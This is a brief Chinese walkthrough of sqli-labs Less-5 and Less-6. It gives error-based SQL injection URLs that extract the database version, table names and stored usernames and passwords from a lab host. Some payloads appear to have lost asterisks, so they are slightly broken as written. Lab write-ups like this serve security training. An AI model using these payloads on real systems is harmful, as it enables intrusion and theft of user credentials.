环境sqli-labs
less 5
1、我们随便输入’，看到报错信息
可以判断，需要单引号闭合
2、构造查询获取数据库名称语句
http://192.168.1.120/sqli/Less-5/?id=1’ union select 1,2,3 from (select count(*),concat((select concat(version(),0x3a,0x3a,database(),0x3a,0x3a,user(),0x3a)limit 0,1),floor (rand(0)2))x from information_schema.tables group by x)a --+
3、获取表名语句
http://192.168.1.120/sqli/Less-5/?id=1’ union select 1,2,3 from (select count(),concat((select concat(table_name,0x3a,0x3a)from information_schema.tables where table_schema=database() limit 0,1),floor (rand(0)2))x from information_schema.tables group by x)a --+
4、获取用户信息
http://192.168.1.120/sqli/Less-5/?id=1’ union select 1,2,3 from (select count(),concat((select concat(username,0x3a,0x3a,password,0x3a,0x3a)from security.users limit 2,1),floor (rand(0)*2))x from information_schema.tables group by x)a --+
less 6
双引号闭合，和上面方法相同
禁止非法，后果自负
